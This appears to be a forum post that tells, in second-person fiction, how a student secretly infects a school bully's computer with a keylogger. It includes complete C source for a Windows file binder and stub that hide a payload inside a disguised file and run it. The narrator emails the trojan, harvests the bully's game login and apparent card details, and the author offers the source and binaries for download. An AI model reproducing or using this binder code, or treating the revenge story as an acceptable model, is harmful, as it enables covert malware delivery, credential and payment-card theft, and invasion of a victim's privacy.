A droplet of water shatters like glass upon your nose as the murky sky roars dominantly overhead. You gladly respect the sky gods’ anger and continue picking up your pace since you’ve still a while to go until you’re home.
3:30 PM. Though it took you 20 minutes to jog home from school. Surprisingly, you managed to evade the torrential downpour which unexpectedly started slamming deafeningly against the ceramic tiles on your roof as you hurried to your room. Carelessly dropping your school bag, you hopped onto your chair and woke your computer from sleep. Your heart begins to race. The school bully, Jerry, had almost redecorated your face with the red paint from your nose earlier today because you failed to provide the assignment solutions at the time he requested. In response, you gave him an Oscar-award winning act, begging him not to since you would not be able to deliver it to him from the hospital. You’ve promised to send it to him over the internet some time tonight but you’ve other plans…
You fired up your Microsoft Visual Studio IDE and started to revise the code on which you have been working for the past couple of days. Firstly, the code for the the file binder.
#include <stdio.h>
#include <stdarg.h>
#include <windows.h>
#include <Shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")
#define PAYLOAD_BUFFER_RSRC_ID 10
#define PAYLOAD_EXTENSION_RSRC_ID (PAYLOAD_BUFFER_RSRC_ID + 1)
#define SECONDARY_BUFFER_RSRC_ID 20
#define SECONDARY_EXTENSION_RSRC_ID (SECONDARY_BUFFER_RSRC_ID + 1)
typedef struct _FileStruct {
PBYTE pBuffer;
DWORD dwFileSize;
LPSTR lpExtension;
DWORD dwExtensionLength;
} FileStruct, *pFileStruct;
VOID Debug(LPCSTR fmt, ...) {
va_list args;
va_start(args, fmt);
vprintf(fmt, args);
va_end(args);
}
FileStruct *LoadFile(LPCSTR szFileName) {
Debug("Loading %s...\n", szFileName);
Debug("Initializing struct...\n");
FileStruct *fs = (FileStruct *)malloc(sizeof(*fs));
if (fs == NULL) {
Debug("Create %s file structure error: %lu\n", szFileName, GetLastError());
return NULL;
}
Debug("Initializing file...\n");
// get file handle to file
HANDLE hFile = CreateFile(szFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
Debug("Create file error: %lu\n", GetLastError());
free(fs);
return NULL;
}
Debug("Extracting extension...\n");
// get file extension
fs->lpExtension = PathFindExtension(szFileName);
fs->dwExtensionLength = strlen(fs->lpExtension);
Debug("Extension: %s\n", fs->lpExtension);
// get file size
Debug("Retrieving file size...\n");
fs->dwFileSize = GetFileSize(hFile, NULL);
if (fs->dwFileSize == INVALID_FILE_SIZE) {
Debug("Get file size error: %lu\n", GetLastError());
CloseHandle(hFile);
free(fs);
return NULL;
}
// create heap buffer to hold file contents
fs->pBuffer = (PBYTE)malloc(fs->dwFileSize);
if (fs->pBuffer == NULL) {
Debug("Create buffer error: %lu\n", GetLastError());
CloseHandle(hFile);
free(fs);
return NULL;
}
// read file contents
Debug("Reading file contents...\n");
DWORD dwRead = 0;
if (ReadFile(hFile, fs->pBuffer, fs->dwFileSize, &dwRead, NULL) == FALSE) {
Debug("Read file error: %lu\n", GetLastError());
CloseHandle(hFile);
free(fs);
return NULL;
}
Debug("Read 0x%08x bytes\n\n", dwRead);
// clean up
CloseHandle(hFile);
return fs;
}
BOOL UpdateStub(LPCSTR szFileName, FileStruct *fs, int nRsrcId) {
// start updating stub's resources
HANDLE hUpdate = BeginUpdateResource(szFileName, FALSE);
// add file as a resource to stub
if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(nRsrcId), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->pBuffer, fs->dwFileSize) == FALSE) {
Debug("Update resource error: %lu\n", GetLastError());
return FALSE;
}
// add file's extension as a resource
if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(nRsrcId + 1), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->lpExtension, fs->dwExtensionLength) == FALSE) {
Debug("Update resource error: %lu\n", GetLastError());
return FALSE;
}
EndUpdateResource(hUpdate, FALSE);
return TRUE;
}
BOOL BuildStub(LPCSTR szFileName, FileStruct *fsPayload, FileStruct *fsSecondary) {
Debug("Building stub: %s...\n", szFileName);
// get stub program as a resource
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(1), "STUB");
if (hRsrc == NULL) {
Debug("Find resource error: %lu\n", GetLastError());
return FALSE;
}
DWORD dwSize = SizeofResource(NULL, hRsrc);
HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
if (hGlobal == NULL) {
Debug("Load resource error: %lu\n", GetLastError());
return FALSE;
}
// get stub's file content
PBYTE pBuffer = (PBYTE)LockResource(hGlobal);
if (pBuffer == NULL) {
Debug("Lock resource error: %lu\n", GetLastError());
return FALSE;
}
// create output file
Debug("Creating stub file...\n");
HANDLE hFile = CreateFile(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
Debug("Create stub error: %lu\n", GetLastError());
free(pBuffer);
return FALSE;
}
// write stub content to output file
Debug("Writing buffer content to stub...\n");
DWORD dwWritten = 0;
if (WriteFile(hFile, pBuffer, dwSize, &dwWritten, NULL) == FALSE) {
Debug("Write payload to stub error: %lu\n", GetLastError());
CloseHandle(hFile);
free(pBuffer);
return FALSE;
}
Debug("Wrote 0x%08x bytes\n\n");
CloseHandle(hFile);
// add payload to stub
Debug("Updating stub with payload...\n");
if (UpdateStub(szFileName, fsPayload, PAYLOAD_BUFFER_RSRC_ID) == FALSE)
return FALSE;
// add secondary file to stub
Debug("Updating stub with secondary file...\n");
if (UpdateStub(szFileName, fsSecondary, SECONDARY_BUFFER_RSRC_ID) == FALSE)
return FALSE;
return TRUE;
}
// FileBinder.exe [PAYLOAD FILE] [SECONDARY FILE] [OUTPUT FILE]
int main(int argc, char *argv[]) {
if (argc < 4) {
Debug("Usage: %s [PAYLOAD EXECUTABLE] [SECONDARY FILE] [OUTPUT FILE]", argv[0]);
return 1;
}
// load file information into structs
FileStruct *fsPayload = LoadFile(argv[1]);
if (fsPayload == NULL) return 1;
FileStruct *fsSecondary = LoadFile(argv[2]);
if (fsSecondary == NULL) return 1;
if (BuildStub(argv[3], fsPayload, fsSecondary) == FALSE)
return 1;
free(fsPayload);
free(fsSecondary);
Debug("\nDone\n");
return 0;
}
Silently, you read over the code and conjure the pseudocode in your mind.
1. Load each of the two input files and read their file contents, storing the information within structs
2. Create an empty output file as the updated stub
3. Load the stub as a resource and write it out to the output file
4. For each of the two input structs, add the members as a resource to the output stub file
A smirk grows on your face. You then quickly repeat the process for the stub of your file binder.
#include <stdio.h>
#include <windows.h>
#include <Shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")
#define PAYLOAD_BUFFER_RSRC_ID 10
#define PAYLOAD_EXTENSION_RSRC_ID (PAYLOAD_BUFFER_RSRC_ID + 1)
#define SECONDARY_BUFFER_RSRC_ID 20
#define SECONDARY_EXTENSION_RSRC_ID (SECONDARY_BUFFER_RSRC_ID + 1)
typedef struct _FileStruct {
PBYTE pBuffer;
DWORD dwFileSize;
LPSTR lpExtension;
DWORD dwExtensionLength;
} FileStruct, *pFileStruct;
VOID Debug(LPCSTR fmt, ...) {
va_list args;
va_start(args, fmt);
CHAR szBuffer[BUFSIZ];
vsprintf(szBuffer, fmt, args);
MessageBox(NULL, szBuffer, __argv[0], MB_OK | MB_ICONEXCLAMATION);
va_end(args);
}
FileStruct *InitializeStruct(int nRsrcId) {
// create struct
FileStruct *fs = (FileStruct *)malloc(sizeof(*fs));
if (fs == NULL) return NULL;
// get file buffer
// get size of resource
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(nRsrcId), RT_RCDATA);
if (hRsrc == NULL) return NULL;
fs->dwFileSize = SizeofResource(NULL, hRsrc);
// get pointer to resource buffer
HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
if (hGlobal == NULL) return NULL;
fs->pBuffer = (PBYTE)LockResource(hGlobal);
if (fs->pBuffer == NULL) return NULL;
// get file extension
// get strlen of extension
hRsrc = FindResource(NULL, MAKEINTRESOURCE(nRsrcId + 1), RT_RCDATA);
if (hRsrc == NULL) return NULL;
fs->dwExtensionLength = SizeofResource(NULL, hRsrc);
// get pointer to extension buffer
hGlobal = LoadResource(NULL, hRsrc);
if (hGlobal == NULL) return NULL;
fs->lpExtension = (PBYTE)LockResource(hGlobal);
if (fs->lpExtension == NULL) return NULL;
return fs;
}
BOOL DropFile(FileStruct *fs, LPSTR szFileNameBuffer) {
DWORD dwWritten = 0;
// get temp file name
CHAR szTempFileName[MAX_PATH];
CHAR szFileName[MAX_PATH];
// get temp path
GetTempPath(MAX_PATH, szTempFileName);
// get file name (incl. path)
GetModuleFileName(NULL, szFileName, MAX_PATH);
// strip path and extract only executable name
PathStripPath(szFileName);
// append exe name to temp path
PathAppend(szTempFileName, szFileName);
// replace file extension
memcpy(szTempFileName + strlen(szTempFileName) - 4, fs->lpExtension, fs->dwExtensionLength);
strcpy(szFileNameBuffer, szTempFileName);
// drop payload file
HANDLE hFile = CreateFile(szTempFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
Debug("Create temp file error: %lu", GetLastError());
return FALSE;
}
// write buffer into file
if (WriteFile(hFile, fs->pBuffer, fs->dwFileSize, &dwWritten, NULL) == FALSE) {
Debug("Write temp file error: %lu", GetLastError());
CloseHandle(hFile);
return FALSE;
}
// clean up
CloseHandle(hFile);
return TRUE;
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
FileStruct *fsPayload = NULL, *fsSecondary = NULL;
fsPayload = InitializeStruct(PAYLOAD_BUFFER_RSRC_ID);
fsSecondary = InitializeStruct(SECONDARY_BUFFER_RSRC_ID);
CHAR szPayloadFileName[BUFSIZ];
CHAR szSecondaryFileName[BUFSIZ];
DropFile(fsPayload, szPayloadFileName);
DropFile(fsSecondary, szSecondaryFileName);
free(fsPayload);
free(fsSecondary);
// execute payload
if (ShellExecute(NULL, NULL, szPayloadFileName, NULL, NULL, SW_NORMAL) <= 32) {
Debug("Start payload error: %lu", GetLastError());
return 1;
}
// execute secondary file
if (ShellExecute(NULL, NULL, szSecondaryFileName, NULL, NULL, SW_NORMAL) <= 32) {
Debug("Start secondary error: %lu", GetLastError());
return 1;
}
return 0;
}
1. Initialize the file structs with the added resources from the file binder application for both files
2. For each file, create a temporary file and write out the file contents
3. Execute both files
You realize that this method for the stub is not the best since it introduces a lot of forensic evidence and disk activity however, you know that Jerry won’t have a single clue about any of this so you assumed you will be fine and need not to worry.
A test run to confirm that your file binder works is needed for you to be sure that this approach will be successful. Time to launch the Windows command shell.
You then launch Resource Hacker and add the icon of the text file to the application and press save…
You double click the file…
Your heart starts to beat faster… Successful execution.
Hurriedly, you disable debug mode for your keylogger and rebuild the file… You compress it inside a folder, attach it to an email directed to Jerry… and click to send. As you inhale deeply, questions begin plaguing your mind. What information would I get from his computer? Could I possibly find the password for his Facebook and Gmail? What could I do with such information? The heat of the moment has your brain running overtime as adrenaline floods your body as you decide to get up and shrug off the excitement which has exploded from your actions. A wide grin draws across your face as an ear-splitting blast of thunder explodes in the vicinity, almost as to complement what you have just unleashed…
~ ~ ~
There are no words which can describe your feelings as you approach your computer. It’s been exactly one week since you’ve delivered the silent, vengeful maelstrom upon your foe. Your heart is beating out of your chest. Breathing, quick in succession. You look behind you and see your door is wide open, welcoming any curious eyes to spy on your every actions. Your father is home today. After closing the door, slowly and soundlessly, you reapproach your system. It’s time for harvest…
You log into your FTP account through the FileZilla FTP client as you wonder what you could have retrieved. You browse to your directory which holds the logs from your keylogger and you see the text file waiting for its master. Waiting for you. Hesitantly, you right-click and click View. A Sublime Text window spawns and you see a mass of letters, numbers and strings which correspond to keys on the keyboard such as [ENTER]
and [SHIFT]
. A beautiful sight before your eyes. As you quickly run your eyes across the screen, you quickly see patterns. There were many w
, a
, s
and d
letters, all bunched together like aaaaaaaaaaaaaaaaa
and wwwwwwwwwwwwwwwwdddddddwwwwwww
. He must be playing some sort of game, you think to yourself. That means he must have needed to log into his account at some point. You check the strings from a previous point and you see it. Birdpers0n
and 9375chw1f7y
. Brilliant. What’s this? A sequence of eighteen followed by a slash and then five numbers and a Rick M. Sanchez
? XXXXXXXXXXXXXXXXXX/XXXXX Rick M. Sanchez
… XXXX XXXX XXXX XXXX XX/XX XXX Rick M. Sanchez
… Droplets of sweat coat your palms and forehead, pupils dilated. Your respiration halts yet a wave of epinephrine overflows your bloodstream. You lean backwards onto your chair to absorb the information you have witnessed. You take a deep breath. What will you do with your discovery?
A’ight, so, this thread only covered the social engineering aspect of a hypothetical attack (obviously) which means that the details of the keylogger were missing. Do not worry, I am planning to write up a second part to my Windows Keylogging paper in the future which will cover the details such as FTP uploading keystrokes.
I’ll be uploading the source code to my GitHub - File Binder (there are other files which are involved which were not covered) and also the binaries (32-bit, compiled on Windows 7) if you guys want to play around with it. The binder works for any (AFAIK) two files, so that can be like .exe
and .jpg
, or .jpg
and .txt
but you might have to run the file binder/stub generator a second time some times if the output happens to fail on the first build.
Hope you guys enjoyed!
– dtm